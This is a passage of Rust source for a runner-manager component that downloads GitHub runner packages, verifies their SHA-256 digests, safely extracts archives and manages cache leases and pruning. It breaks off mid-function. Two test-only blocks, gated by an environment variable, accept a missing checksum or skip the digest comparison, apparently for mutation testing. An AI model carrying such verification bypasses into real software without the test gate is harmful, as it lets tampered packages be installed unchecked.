use std::collections::BTreeMap;
use std::fmt;
use std::fs;
use std::io::{self, Read};
use std::path::{Component, Path, PathBuf};
use std::sync::{Arc, Mutex};
use runner_manager_domain::attempt::{AttemptState, FailureReason, RunnerAttempt};
use runner_manager_domain::model::{Arch, AttemptId, Clock, Elapsed, Os, Timestamp};
use runner_manager_github::rest::{RunnerDownload, RunnerDownloads};
use runner_manager_platform::os::{self as host_os, UnsupportedHost};
use runner_manager_platform::paths::AppPaths;
use serde::{Deserialize, Serialize};
use sha2::{Digest, Sha256};
const PACKAGES_DIR: &str = "packages";
const TOOL_CACHE_DIR: &str = "tool-cache";
const STAGING_DIR: &str = ".staging";
const LEASES_DIR: &str = ".leases";
const LEASE_EXTENSION: &str = "lease";
const MANIFEST_FILE: &str = ".runner-package.json";
pub const FRESHNESS_WINDOW_DAYS: i64 = 30;
pub const CHECK_INTERVAL_HOURS: i64 = 6;
pub const RETRY_BUDGET: u32 = 3;
#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
#[serde(try_from = "String", into = "String")]
pub struct RunnerVersion {
parts: Vec<u64>,
raw: String,
}
impl RunnerVersion {
const MAX_LEN: usize = 64;
const MIN_PARTS: usize = 2;
const MAX_PARTS: usize = 4;
pub fn parse(raw: &str) -> Result<Self, PackageError> {
let unrecognised = || PackageError::UnrecognisedVersion {
raw: raw.to_string(),
};
if raw.is_empty() || raw.len() > Self::MAX_LEN {
return Err(unrecognised());
}
let mut parts = Vec::new();
for segment in raw.split('.') {
if segment.is_empty() || !segment.bytes().all(|b| b.is_ascii_digit()) {
return Err(unrecognised());
}
parts.push(segment.parse::<u64>().map_err(|_| unrecognised())?);
}
if parts.len() < Self::MIN_PARTS || parts.len() > Self::MAX_PARTS {
return Err(unrecognised());
}
Ok(Self {
parts,
raw: raw.to_string(),
})
}
pub fn from_filename(filename: &str) -> Result<Self, PackageError> {
let (stem, _) = ArchiveKind::split(filename)?;
let last = stem.rsplit('-').next().unwrap_or(stem);
Self::parse(last)
}
#[must_use]
pub fn as_str(&self) -> &str {
&self.raw
}
}
impl fmt::Display for RunnerVersion {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
f.write_str(&self.raw)
}
}
impl TryFrom<String> for RunnerVersion {
type Error = PackageError;
fn try_from(value: String) -> Result<Self, Self::Error> {
Self::parse(&value)
}
}
impl From<RunnerVersion> for String {
fn from(value: RunnerVersion) -> Self {
value.raw
}
}
#[derive(Debug, Clone, PartialEq, Eq, Hash, PartialOrd, Ord, Serialize, Deserialize)]
#[serde(try_from = "String", into = "String")]
pub struct Sha256Hex(String);
impl Sha256Hex {
const LEN: usize = 64;
pub fn parse(raw: &str) -> Result<Self, PackageError> {
let trimmed = raw.trim();
if trimmed.len() != Self::LEN || !trimmed.bytes().all(|b| b.is_ascii_hexdigit()) {
return Err(PackageError::MalformedDigest {
raw: trimmed.to_string(),
});
}
Ok(Self(trimmed.to_ascii_lowercase()))
}
#[must_use]
pub fn as_str(&self) -> &str {
&self.0
}
}
impl fmt::Display for Sha256Hex {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
f.write_str(&self.0)
}
}
impl TryFrom<String> for Sha256Hex {
type Error = PackageError;
fn try_from(value: String) -> Result<Self, Self::Error> {
Self::parse(&value)
}
}
impl From<Sha256Hex> for String {
fn from(value: Sha256Hex) -> Self {
value.0
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum PublishedChecksum {
Absent,
Empty,
Malformed,
}
impl PublishedChecksum {
#[must_use]
pub const fn describe(self) -> &'static str {
match self {
Self::Absent => "no sha256_checksum",
Self::Empty => "an empty sha256_checksum",
Self::Malformed => "a malformed sha256_checksum",
}
}
}
impl fmt::Display for PublishedChecksum {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
f.write_str(self.describe())
}
}
fn sha256_file(path: &Path) -> Result<Sha256Hex, PackageError> {
let mut file = fs::File::open(path).map_err(|source| PackageError::Io {
what: "open the downloaded package for verification",
path: path.to_path_buf(),
source,
})?;
let mut hasher = Sha256::new();
let mut buffer = vec![0_u8; 128 * 1024];
loop {
let read = file.read(&mut buffer).map_err(|source| PackageError::Io {
what: "read the downloaded package for verification",
path: path.to_path_buf(),
source,
})?;
if read == 0 {
break;
}
hasher.update(&buffer[..read]);
}
Sha256Hex::parse(&hex::encode(hasher.finalize()))
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
enum ArchiveKind {
Zip,
TarGz,
}
impl ArchiveKind {
fn split(filename: &str) -> Result<(&str, Self), PackageError> {
let lower = filename.to_ascii_lowercase();
for (extension, kind) in [
(".tar.gz", Self::TarGz),
(".tgz", Self::TarGz),
(".zip", Self::Zip),
] {
if lower.ends_with(extension) {
return Ok((&filename[..filename.len() - extension.len()], kind));
}
}
Err(PackageError::UnsupportedArchive {
filename: filename.to_string(),
})
}
}
#[derive(Debug, thiserror::Error)]
pub enum PackageError {
#[error("{0}")]
UnsupportedHost(#[from] UnsupportedHost),
#[error("GitHub publishes no runner package for {os}/{arch}")]
NoPackagePublished { os: Os, arch: Arch },
#[error(
"GitHub published {} for runner package {version} ({os}/{arch}), so it \
cannot be verified and will not be installed. Pin the digest you have \
independently confirmed for {version} and retry.",
published.describe()
)]
ChecksumAbsent {
version: RunnerVersion,
os: Os,
arch: Arch,
published: PublishedChecksum,
},
#[error(
"runner package {version} does not match its published SHA-256 \
(published {expected}, downloaded {actual}); the partial download was \
discarded and nothing was extracted"
)]
ChecksumMismatch {
version: RunnerVersion,
expected: Sha256Hex,
actual: Sha256Hex,
},
#[error("`{raw}` is not a SHA-256 digest; a digest is 64 hexadecimal characters")]
MalformedDigest { raw: String },
#[error(
"GitHub rejected the runner version{}{}. Runners more than \
{FRESHNESS_WINDOW_DAYS} days behind the latest release are refused. \
Install the current package and start a new attempt; retrying this one \
cannot succeed.",
version.as_ref().map(|v| format!(" {v}")).unwrap_or_default(),
detail.as_ref().map(|d| format!(": {d}")).unwrap_or_default()
)]
VersionRejected {
version: Option<RunnerVersion>,
detail: Option<String>,
},
#[error("the runner download metadata could not be read: {detail}")]
CatalogUnavailable { detail: String },
#[error("the runner package could not be downloaded: {detail}")]
Download { detail: String },
#[error("`{raw}` is not a runner version")]
UnrecognisedVersion { raw: String },
#[error("`{filename}` is not a runner package archive this agent can extract")]
UnsupportedArchive { filename: String },
#[error("runner package entry `{entry}` escapes the directory it is extracted into")]
UnsafeArchiveEntry { entry: String },
#[error("the runner package archive could not be extracted: {detail}")]
Extract { detail: String },
#[error(
"runner package {version} is still held by attempt {attempt}, which is \
`{state}` and not terminal; it will be prunable once that attempt \
concludes"
)]
VersionInUse {
version: RunnerVersion,
attempt: AttemptId,
state: AttemptState,
},
#[error(
"runner package {version} is held by attempt {attempt}, which is not in \
the attempt set supplied; refusing to prune a version whose holder \
cannot be shown to be terminal. Release the lease explicitly if that \
attempt is known to be gone."
)]
VersionHeldByUnknownAttempt {
version: RunnerVersion,
attempt: AttemptId,
},
#[error(
"the runner package lease at `{}` cannot be read, so which version it \
holds is unknown; refusing to prune anything until it is resolved",
path.display()
)]
UnreadableLease { path: PathBuf },
#[error(
"attempt {attempt} has its runtime at `{}`, which is inside the runner \
package cache. Job workspaces are disposable and the cache is \
immutable; a workspace here would be destroyed by a prune and would \
mutate an entry that every other runtime is copied from.",
path.display()
)]
WorkspaceInsideCache { attempt: AttemptId, path: PathBuf },
#[error("runner package {version} is not installed")]
NotInstalled { version: RunnerVersion },
#[error("cannot {what} at `{}`: {source}", path.display())]
Io {
what: &'static str,
path: PathBuf,
#[source]
source: io::Error,
},
#[error("giving up after {attempts} attempts: {source}")]
Exhausted {
attempts: u32,
#[source]
source: Box<PackageError>,
},
}
impl PackageError {
#[must_use]
pub fn is_terminal(&self) -> bool {
match self {
Self::UnsupportedHost(_)
| Self::NoPackagePublished { .. }
| Self::ChecksumAbsent { .. }
| Self::MalformedDigest { .. }
| Self::VersionRejected { .. }
| Self::UnrecognisedVersion { .. }
| Self::UnsupportedArchive { .. }
| Self::UnsafeArchiveEntry { .. }
| Self::VersionInUse { .. }
| Self::VersionHeldByUnknownAttempt { .. }
| Self::UnreadableLease { .. }
| Self::WorkspaceInsideCache { .. }
| Self::NotInstalled { .. } => true,
Self::ChecksumMismatch { .. }
| Self::CatalogUnavailable { .. }
| Self::Download { .. }
| Self::Extract { .. }
| Self::Io { .. } => false,
Self::Exhausted { .. } => true,
}
}
#[must_use]
pub fn failure_reason(&self) -> Option<FailureReason> {
match self {
Self::ChecksumAbsent { .. }
| Self::ChecksumMismatch { .. }
| Self::MalformedDigest { .. }
| Self::UnsafeArchiveEntry { .. } => Some(FailureReason::RunnerPackageUnverified),
Self::VersionRejected { .. } => Some(FailureReason::RunnerVersionRejected),
Self::Exhausted { source, .. } => source.failure_reason(),
_ => None,
}
}
#[must_use]
pub fn operator_action(&self) -> Option<&'static str> {
match self {
Self::UnsupportedHost(_) => Some(
"run the agent on a documented operating system and architecture, \
or add this host to the supported matrix",
),
Self::NoPackagePublished { .. } => Some(
"check that GitHub publishes a runner package for this host's \
operating system and architecture",
),
Self::ChecksumAbsent { .. } => Some(
"confirm the package digest independently and pin it, or wait \
for GitHub to publish a checksum; the package will not be \
installed unverified",
),
Self::MalformedDigest { .. } => {
Some("correct the pinned digest to 64 hexadecimal characters")
}
Self::VersionRejected { .. } => Some(
"install the current runner package and start a new attempt; \
this one cannot be retried into success",
),
Self::UnsupportedArchive { .. } | Self::UnrecognisedVersion { .. } => Some(
"GitHub's runner download metadata is not in a shape this agent \
recognises; report it rather than working around it",
),
Self::UnsafeArchiveEntry { .. } => Some(
"the runner package archive contains an entry that writes \
outside the cache; do not install it and report it",
),
Self::VersionInUse { .. } => {
Some("wait for the attempt holding this version to conclude")
}
Self::VersionHeldByUnknownAttempt { .. } => Some(
"release the lease for the attempt named above if it is known to \
be gone, then prune again",
),
Self::UnreadableLease { .. } => Some(
"inspect the lease file named above; delete it once the attempt \
it belonged to is known to be gone, then prune again",
),
Self::WorkspaceInsideCache { .. } => {
Some("place job workspaces under the runtime directory")
}
Self::NotInstalled { .. } => Some("install the version before referencing it"),
Self::Exhausted { source, .. } => source.operator_action(),
Self::ChecksumMismatch { .. }
| Self::CatalogUnavailable { .. }
| Self::Download { .. }
| Self::Extract { .. }
| Self::Io { .. } => None,
}
}
}
#[async_trait::async_trait]
pub trait DownloadCatalog: fmt::Debug + Send + Sync {
async fn published(&self) -> Result<RunnerDownloads, PackageError>;
}
#[async_trait::async_trait]
pub trait PackageFetcher: fmt::Debug + Send + Sync {
async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError>;
}
#[async_trait::async_trait]
pub trait Backoff: fmt::Debug + Send + Sync {
async fn wait(&self, attempt: u32);
}
#[derive(Debug, Clone, Copy)]
pub struct ExponentialBackoff {
base: std::time::Duration,
cap: std::time::Duration,
}
impl ExponentialBackoff {
#[must_use]
pub const fn new(base: std::time::Duration, cap: std::time::Duration) -> Self {
Self { base, cap }
}
}
impl Default for ExponentialBackoff {
fn default() -> Self {
Self::new(
std::time::Duration::from_secs(2),
std::time::Duration::from_secs(30),
)
}
}
#[async_trait::async_trait]
impl Backoff for ExponentialBackoff {
async fn wait(&self, attempt: u32) {
let factor = 1_u32 << attempt.min(16);
let delay = self.base.saturating_mul(factor).min(self.cap);
tokio::time::sleep(delay).await;
}
}
#[derive(Debug, Clone, Copy, Default)]
pub struct NoBackoff;
#[async_trait::async_trait]
impl Backoff for NoBackoff {
async fn wait(&self, _attempt: u32) {}
}
#[derive(Debug)]
pub struct GatewayCatalog<G> {
gateway: G,
target: runner_manager_domain::model::ScaleTarget,
}
impl<G> GatewayCatalog<G> {
#[must_use]
pub const fn new(gateway: G, target: runner_manager_domain::model::ScaleTarget) -> Self {
Self { gateway, target }
}
}
#[async_trait::async_trait]
impl<G> DownloadCatalog for GatewayCatalog<G>
where
G: runner_manager_github::rest::InventoryGateway,
{
async fn published(&self) -> Result<RunnerDownloads, PackageError> {
let cancel = runner_manager_github::rest::CancelToken::new();
self.gateway
.runner_downloads(&self.target, &cancel)
.await
.map_err(|error| PackageError::CatalogUnavailable {
detail: error.to_string(),
})
}
}
#[derive(Debug, Clone)]
pub struct HttpFetcher {
client: reqwest::Client,
}
impl HttpFetcher {
#[must_use]
pub fn new(client: reqwest::Client) -> Self {
Self { client }
}
}
impl Default for HttpFetcher {
fn default() -> Self {
Self::new(reqwest::Client::new())
}
}
#[async_trait::async_trait]
impl PackageFetcher for HttpFetcher {
async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
use futures::StreamExt as _;
use tokio::io::AsyncWriteExt as _;
let response = self
.client
.get(url)
.send()
.await
.and_then(reqwest::Response::error_for_status)
.map_err(|error| PackageError::Download {
detail: error.to_string(),
})?;
let mut file = tokio::fs::File::create(destination)
.await
.map_err(|source| PackageError::Io {
what: "create the package download file",
path: destination.to_path_buf(),
source,
})?;
let mut stream = response.bytes_stream();
let mut written = 0_u64;
while let Some(chunk) = stream.next().await {
let chunk = chunk.map_err(|error| PackageError::Download {
detail: error.to_string(),
})?;
written += chunk.len() as u64;
file.write_all(&chunk)
.await
.map_err(|source| PackageError::Io {
what: "write the package download file",
path: destination.to_path_buf(),
source,
})?;
}
file.flush().await.map_err(|source| PackageError::Io {
what: "flush the package download file",
path: destination.to_path_buf(),
source,
})?;
file.sync_all().await.map_err(|source| PackageError::Io {
what: "sync the package download file",
path: destination.to_path_buf(),
source,
})?;
Ok(written)
}
}
#[derive(Debug, Clone, Default, PartialEq, Eq)]
pub struct PinnedDigests(BTreeMap<RunnerVersion, Sha256Hex>);
impl PinnedDigests {
#[must_use]
pub fn new() -> Self {
Self::default()
}
pub fn pin(mut self, version: &str, digest: &str) -> Result<Self, PackageError> {
self.0
.insert(RunnerVersion::parse(version)?, Sha256Hex::parse(digest)?);
Ok(self)
}
#[must_use]
pub fn get(&self, version: &RunnerVersion) -> Option<&Sha256Hex> {
self.0.get(version)
}
#[must_use]
pub fn is_empty(&self) -> bool {
self.0.is_empty()
}
}
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub struct Freshness {
pub window: Elapsed,
pub check_interval: Elapsed,
}
impl Default for Freshness {
fn default() -> Self {
Self {
window: Elapsed::days(FRESHNESS_WINDOW_DAYS),
check_interval: Elapsed::hours(CHECK_INTERVAL_HOURS),
}
}
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub struct InstalledPackage {
version: RunnerVersion,
root: PathBuf,
installed_at: Timestamp,
digest: Sha256Hex,
}
impl InstalledPackage {
#[must_use]
pub fn version(&self) -> &RunnerVersion {
&self.version
}
#[must_use]
pub fn root(&self) -> &Path {
&self.root
}
#[must_use]
pub const fn installed_at(&self) -> Timestamp {
self.installed_at
}
#[must_use]
pub const fn digest(&self) -> &Sha256Hex {
&self.digest
}
}
#[derive(Debug, Clone, Serialize, Deserialize)]
struct Manifest {
version: RunnerVersion,
digest: Sha256Hex,
installed_at: Timestamp,
filename: String,
}
pub struct CachePorts {
pub catalog: Arc<dyn DownloadCatalog>,
pub fetcher: Arc<dyn PackageFetcher>,
pub backoff: Arc<dyn Backoff>,
pub clock: Arc<dyn Clock>,
}
impl fmt::Debug for CachePorts {
fn fmt(&self, f: &mut fmt::Formatter<'_>) -> fmt::Result {
f.debug_struct("CachePorts")
.field("catalog", &self.catalog)
.field("fetcher", &self.fetcher)
.field("backoff", &self.backoff)
.field("clock", &self.clock)
.finish()
}
}
#[derive(Debug)]
pub struct PackageCache {
root: PathBuf,
tool_cache: PathBuf,
os: Os,
arch: Arch,
ports: CachePorts,
pins: PinnedDigests,
freshness: Freshness,
retry_budget: u32,
last_check: Mutex<Option<Timestamp>>,
}
impl PackageCache {
#[must_use]
pub fn new(paths: &AppPaths, os: Os, arch: Arch, ports: CachePorts) -> Self {
Self {
root: paths.state_dir().join(PACKAGES_DIR),
tool_cache: paths.state_dir().join(TOOL_CACHE_DIR),
os,
arch,
ports,
pins: PinnedDigests::new(),
freshness: Freshness::default(),
retry_budget: RETRY_BUDGET,
last_check: Mutex::new(None),
}
}
#[must_use]
pub fn with_pins(mut self, pins: PinnedDigests) -> Self {
self.pins = pins;
self
}
#[must_use]
pub const fn with_freshness(mut self, freshness: Freshness) -> Self {
self.freshness = freshness;
self
}
#[must_use]
pub const fn with_retry_budget(mut self, budget: u32) -> Self {
self.retry_budget = if budget == 0 { 1 } else { budget };
self
}
#[must_use]
pub fn root(&self) -> &Path {
&self.root
}
#[must_use]
pub fn tool_cache_dir(&self) -> &Path {
&self.tool_cache
}
pub async fn ensure_installed(&self) -> Result<InstalledPackage, PackageError> {
host_os::validate(self.os, self.arch)?;
let now = self.ports.clock.now();
if !self.check_is_due(now)?
&& let Some(entry) = self.newest_installed()?
{
return Ok(entry);
}
let mut last: Option<PackageError> = None;
for attempt in 1..=self.retry_budget {
match self.install_once().await {
Ok(package) => {
*self
.last_check
.lock()
.unwrap_or_else(std::sync::PoisonError::into_inner) =
Some(self.ports.clock.now());
return Ok(package);
}
Err(error) if error.is_terminal() => return Err(error),
Err(error) => {
last = Some(error);
if attempt < self.retry_budget {
self.ports.backoff.wait(attempt).await;
}
}
}
}
Err(PackageError::Exhausted {
attempts: self.retry_budget,
source: Box::new(last.expect("a spent budget leaves a failure behind")),
})
}
#[must_use]
pub fn is_stale(&self, package: &InstalledPackage, now: Timestamp) -> bool {
now.signed_duration_since(package.installed_at) > self.freshness.window
}
fn check_is_due(&self, now: Timestamp) -> Result<bool, PackageError> {
let Some(newest) = self.newest_installed()? else {
return Ok(true);
};
if self.is_stale(&newest, now) {
return Ok(true);
}
let last = *self
.last_check
.lock()
.unwrap_or_else(std::sync::PoisonError::into_inner);
Ok(match last {
None => true,
Some(at) => now.signed_duration_since(at) >= self.freshness.check_interval,
})
}
async fn install_once(&self) -> Result<InstalledPackage, PackageError> {
let published = self.ports.catalog.published().await?;
let download =
published
.select(self.os, self.arch)
.ok_or(PackageError::NoPackagePublished {
os: self.os,
arch: self.arch,
})?;
let version = RunnerVersion::from_filename(&download.filename)?;
if let Some(entry) = self.entry(&version)? {
return Ok(entry);
}
let now = self.ports.clock.now();
if let Some(newest) = self.newest_installed()?
&& !self.is_stale(&newest, now)
{
return Ok(newest);
}
let digest = self.required_digest(download, &version)?;
self.download_verify_and_install(download, &version, &digest, now)
.await
}
fn required_digest(
&self,
download: &RunnerDownload,
version: &RunnerVersion,
) -> Result<Sha256Hex, PackageError> {
let published = match download.sha256_checksum() {
None => PublishedChecksum::Absent,
Some(raw) if raw.trim().is_empty() => PublishedChecksum::Empty,
Some(raw) => match Sha256Hex::parse(raw) {
Ok(digest) => return Ok(digest),
Err(_) => PublishedChecksum::Malformed,
},
};
#[cfg(test)]
if std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref() == Ok("accept_missing_checksum") {
return Sha256Hex::parse(&"00".repeat(32));
}
match self.pins.get(version) {
Some(pinned) => Ok(pinned.clone()),
None => Err(PackageError::ChecksumAbsent {
version: version.clone(),
os: self.os,
arch: self.arch,
published,
}),
}
}
async fn download_verify_and_install(
&self,
download: &RunnerDownload,
version: &RunnerVersion,
expected: &Sha256Hex,
now: Timestamp,
) -> Result<InstalledPackage, PackageError> {
let (_, kind) = ArchiveKind::split(&download.filename)?;
let staging_root = self.staging_root();
create_dir_all(&staging_root)?;
let token = uuid::Uuid::new_v4();
let archive = staging_root.join(format!("download-{token}.archive"));
let extracted = staging_root.join(token.to_string());
let outcome = self
.fetch_verify_extract(download, version, expected, kind, &archive, &extracted)
.await;
let removed = remove_file_if_present(&archive, "remove the package download");
let () = outcome?;
removed?;
let guard = StagingGuard::new(extracted.clone());
let manifest = Manifest {
version: version.clone(),
digest: expected.clone(),
installed_at: now,
filename: download.filename.clone(),
};
write_json(&extracted.join(MANIFEST_FILE), &manifest)?;
let target = self.version_dir(version);
create_dir_all(&self.root)?;
match fs::rename(&extracted, &target) {
Ok(()) => {}
Err(source) => {
if let Some(entry) = self.entry(version)? {
guard.disarm_into_sweep();
return Ok(entry);
}
return Err(PackageError::Io {
what: "commit the extracted runner package",
path: target,
source,
});
}
}
guard.disarm_into_sweep();
Ok(InstalledPackage {
version: version.clone(),
root: target,
installed_at: now,
digest: expected.clone(),
})
}
async fn fetch_verify_extract(
&self,
download: &RunnerDownload,
version: &RunnerVersion,
expected: &Sha256Hex,
kind: ArchiveKind,
archive: &Path,
extracted: &Path,
) -> Result<(), PackageError> {
self.ports
.fetcher
.fetch(&download.download_url, archive)
.await?;
let archive_for_hash = archive.to_path_buf();
let actual = tokio::task::spawn_blocking(move || sha256_file(&archive_for_hash))
.await
.map_err(|error| PackageError::Extract {
detail: format!("the verification task failed: {error}"),
})??;
#[cfg(test)]
let checksum_matches = std::env::var("RUNNER_MANAGER_TEST_MUTANT").as_deref()
== Ok("skip_checksum_comparison")
|| actual == *expected;
#[cfg(not(test))]
let checksum_matches = actual == *expected;
if !checksum_matches {
return Err(PackageError::ChecksumMismatch {
version: version.clone(),
expected: expected.clone(),
actual,
});
}
let archive_for_extract = archive.to_path_buf();
let extracted_for_task = extracted.to_path_buf();
tokio::task::spawn_blocking(move || {
extract(&archive_for_extract, kind, &extracted_for_task)
})
.await
.map_err(|error| PackageError::Extract {
detail: format!("the extraction task failed: {error}"),
})?
}
fn version_dir(&self, version: &RunnerVersion) -> PathBuf {
self.root.join(version.as_str())
}
pub fn entry(&self, version: &RunnerVersion) -> Result<Option<InstalledPackage>, PackageError> {
let root = self.version_dir(version);
if !root.is_dir() {
return Ok(None);
}
let Some(manifest) = read_json::<Manifest>(&root.join(MANIFEST_FILE))? else {
return Ok(None);
};
Ok(Some(InstalledPackage {
version: manifest.version,
root,
installed_at: manifest.installed_at,
digest: manifest.digest,
}))
}
pub fn installed(&self) -> Result<Vec<InstalledPackage>, PackageError> {
let mut found = Vec::new();
let entries = match fs::read_dir(&self.root) {
Ok(entries) => entries,
Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(found),
Err(source) => {
return Err(PackageError::Io {
what: "read the runner package cache",
path: self.root.clone(),
source,
});
}
};
for entry in entries {
let entry = entry.map_err(|source| PackageError::Io {
what: "read the runner package cache",
path: self.root.clone(),
source,
})?;
let name = entry.file_name();
let Some(name) = name.to_str() else { continue };
if name.starts_with('.') {
continue;
}
let Ok(version) = RunnerVersion::parse(name) else {
continue;
};
if let Some(package) = self.entry(&version)? {
found.push(package);
}
}
found.sort_by(|a, b| a.version.cmp(&b.version));
Ok(found)
}
fn newest_installed(&self) -> Result<Option<InstalledPackage>, PackageError> {
Ok(self
.installed()?
.into_iter()
.max_by_key(|package| package.installed_at))
}
fn leases_dir(&self) -> PathBuf {
self.root.join(LEASES_DIR)
}
fn lease_path(&self, attempt: AttemptId) -> PathBuf {
self.leases_dir()
.join(format!("{attempt}.{LEASE_EXTENSION}"))
}
pub fn lease(
&self,
attempt: &RunnerAttempt,
version: &RunnerVersion,
) -> Result<(), PackageError> {
if self.entry(version)?.is_none() {
return Err(PackageError::NotInstalled {
version: version.clone(),
});
}
let runtime = attempt.runtime_path();
if is_inside(&self.root, runtime) {
return Err(PackageError::WorkspaceInsideCache {
attempt: attempt.id,
path: runtime.to_path_buf(),
});
}
create_dir_all(&self.leases_dir())?;
write_json(
&self.lease_path(attempt.id),
&Lease {
version: version.clone(),
},
)
}
pub fn release(&self, attempt: AttemptId) -> Result<(), PackageError> {
let path = self.lease_path(attempt);
match fs::remove_file(&path) {
Ok(()) => Ok(()),
Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
Err(source) => Err(PackageError::Io {
what: "release a runner package lease",
path,
source,
}),
}
}
pub fn holders(&self, version: &RunnerVersion) -> Result<Vec<AttemptId>, PackageError> {
let mut holders = Vec::new();
let dir = self.leases_dir();
let entries = match fs::read_dir(&dir) {
Ok(entries) => entries,
Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(holders),
Err(source) => {
return Err(PackageError::Io {
what: "read the runner package leases",
path: dir,
source,
});
}
};
for entry in entries {
let entry = entry.map_err(|source| PackageError::Io {
what: "read the runner package leases",
path: dir.clone(),
source,
})?;
let path = entry.path();
if path.extension().and_then(|e| e.to_str()) != Some(LEASE_EXTENSION) {
continue;
}
if let Some(holder) = holder_of(&path, version)? {
holders.push(holder);
}
}
holders.sort_unstable();
Ok(holders)
}
pub(crate) fn prune(
&self,
version: &RunnerVersion,
attempts: &[RunnerAttempt],
) -> Result<(), PackageError> {
if self.entry(version)?.is_none() {
return Err(PackageError::NotInstalled {
version: version.clone(),
});
}
let holders = self.holders(version)?;
for holder in &holders {
match attempts.iter().find(|attempt| attempt.id == *holder) {
Some(attempt) if !attempt.is_terminal() => {
return Err(PackageError::VersionInUse {
version: version.clone(),
attempt: *holder,
state: attempt.state(),
});
}
Some(_) => {}
None => {
return Err(PackageError::VersionHeldByUnknownAttempt {
version: version.clone(),
attempt: *holder,
});
}
}
}
let dir = self.version_dir(version);
fs::remove_dir_all(&dir).map_err(|source| PackageError::Io {
what: "remove a cached runner package",
path: dir,
source,
})?;
for holder in holders {
self.release(holder)?;
}
Ok(())
}
fn staging_root(&self) -> PathBuf {
self.root.join(STAGING_DIR)
}
pub fn sweep_staging(&self) -> Result<usize, PackageError> {
let root = self.staging_root();
let entries = match fs::read_dir(&root) {
Ok(entries) => entries,
Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(0),
Err(source) => {
return Err(PackageError::Io {
what: "read the runner package staging area",
path: root,
source,
});
}
};
let mut swept = 0;
for entry in entries.flatten() {
let path = entry.path();
let removed = if path.is_dir() {
fs::remove_dir_all(&path).is_ok()
} else {
fs::remove_file(&path).is_ok()
};
if removed {
swept += 1;
}
}
Ok(swept)
}
}
#[derive(Debug, Clone, Serialize, Deserialize)]
struct Lease {
version: RunnerVersion,
}
struct StagingGuard {
dir: Option<PathBuf>,
}
impl StagingGuard {
fn new(dir: PathBuf) -> Self {
Self { dir: Some(dir) }
}
fn disarm_into_sweep(mut self) {
if let Some(dir) = self.dir.take() {
let _ = fs::remove_dir_all(dir);
}
}
}
impl Drop for StagingGuard {
fn drop(&mut self) {
if let Some(dir) = self.dir.take() {
let _ = fs::remove_dir_all(dir);
}
}
}
fn extract(archive: &Path, kind: ArchiveKind, into: &Path) -> Result<(), PackageError> {
create_dir_all(into)?;
match kind {
ArchiveKind::Zip => extract_zip(archive, into),
ArchiveKind::TarGz => extract_tar_gz(archive, into),
}
}
fn extract_zip(archive: &Path, into: &Path) -> Result<(), PackageError> {
let file = fs::File::open(archive).map_err(|source| PackageError::Io {
what: "open the runner package archive",
path: archive.to_path_buf(),
source,
})?;
let mut zip = zip::ZipArchive::new(file).map_err(|error| PackageError::Extract {
detail: error.to_string(),
})?;
for index in 0..zip.len() {
let mut entry = zip.by_index(index).map_err(|error| PackageError::Extract {
detail: error.to_string(),
})?;
let raw_name = entry.name().to_string();
let relative = entry
.enclosed_name()
.ok_or_else(|| PackageError::UnsafeArchiveEntry {
entry: raw_name.clone(),
})?;
let Some(destination) = entry_destination(into, &relative, &raw_name)? else {
continue;
};
if entry.is_dir() {
create_dir_all(&destination)?;
apply_mode_policy(&destination, intended_mode(true, entry.unix_mode()))?;
continue;
}
if entry.is_symlink() {
return Err(PackageError::UnsafeArchiveEntry { entry: raw_name });
}
if let Some(parent) = destination.parent() {
create_dir_all(parent)?;
}
let mut out = fs::File::create(&destination).map_err(|source| PackageError::Io {
what: "create an extracted runner package file",
path: destination.clone(),
source,
})?;
io::copy(&mut entry, &mut out).map_err(|source| PackageError::Io {
what: "write an extracted runner package file",
path: destination.clone(),
source,
})?;
apply_mode_policy(&destination, intended_mode(false, entry.unix_mode()))?;
}
Ok(())
}
fn extract_tar_gz(archive: &Path, into: &Path) -> Result<(), PackageError> {
let file = fs::File::open(archive).map_err(|source| PackageError::Io {
what: "open the runner package archive",
path: archive.to_path_buf(),
source,
})?;
let mut tar = tar::Archive::new(flate2::read::GzDecoder::new(file));
let entries = tar.entries().map_err(|source| PackageError::Extract {
detail: source.to_string(),
})?;
for entry in entries {
let mut entry = entry.map_err(|source| PackageError::Extract {
detail: source.to_string(),
})?;
let relative = entry
.path()
.map_err(|source| PackageError::Extract {
detail: source.to_string(),
})?
.into_owned();
let display = relative.display().to_string();
let kind = entry.header().entry_type();
let mode = entry
.header()
.mode()
.map_err(|source| PackageError::Extract {
detail: source.to_string(),
})?;
let link_target = entry
.link_name()
.map_err(|source| PackageError::Extract {
detail: source.to_string(),
})?
.map(|target| target.into_owned());
let Some(destination) = entry_destination(into, &relative, &display)? else {
continue;
};
if matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
let target =
link_target
.as_deref()
.ok_or_else(|| PackageError::UnsafeArchiveEntry {
entry: display.clone(),
})?;
resolve_link_target(into, &destination, kind, target, &display)?;
}
entry.set_preserve_permissions(false);
entry.set_mask(0o077);
let unpacked = entry
.unpack_in(into)
.map_err(|source| PackageError::Extract {
detail: source.to_string(),
})?;
if !unpacked {
return Err(PackageError::UnsafeArchiveEntry { entry: display });
}
if !matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
let is_directory = matches!(kind, tar::EntryType::Directory);
apply_mode_policy(&destination, intended_mode(is_directory, Some(mode)))?;
}
}
Ok(())
}
fn resolve_link_target(
into: &Path,
entry_destination: &Path,
kind: tar::EntryType,
target: &Path,
raw: &str,
) -> Result<(), PackageError> {
let unsafe_entry = || PackageError::UnsafeArchiveEntry {
entry: raw.to_string(),
};
if target.is_absolute() {
return Err(unsafe_entry());
}
let mut resolved = if matches!(kind, tar::EntryType::Symlink) {
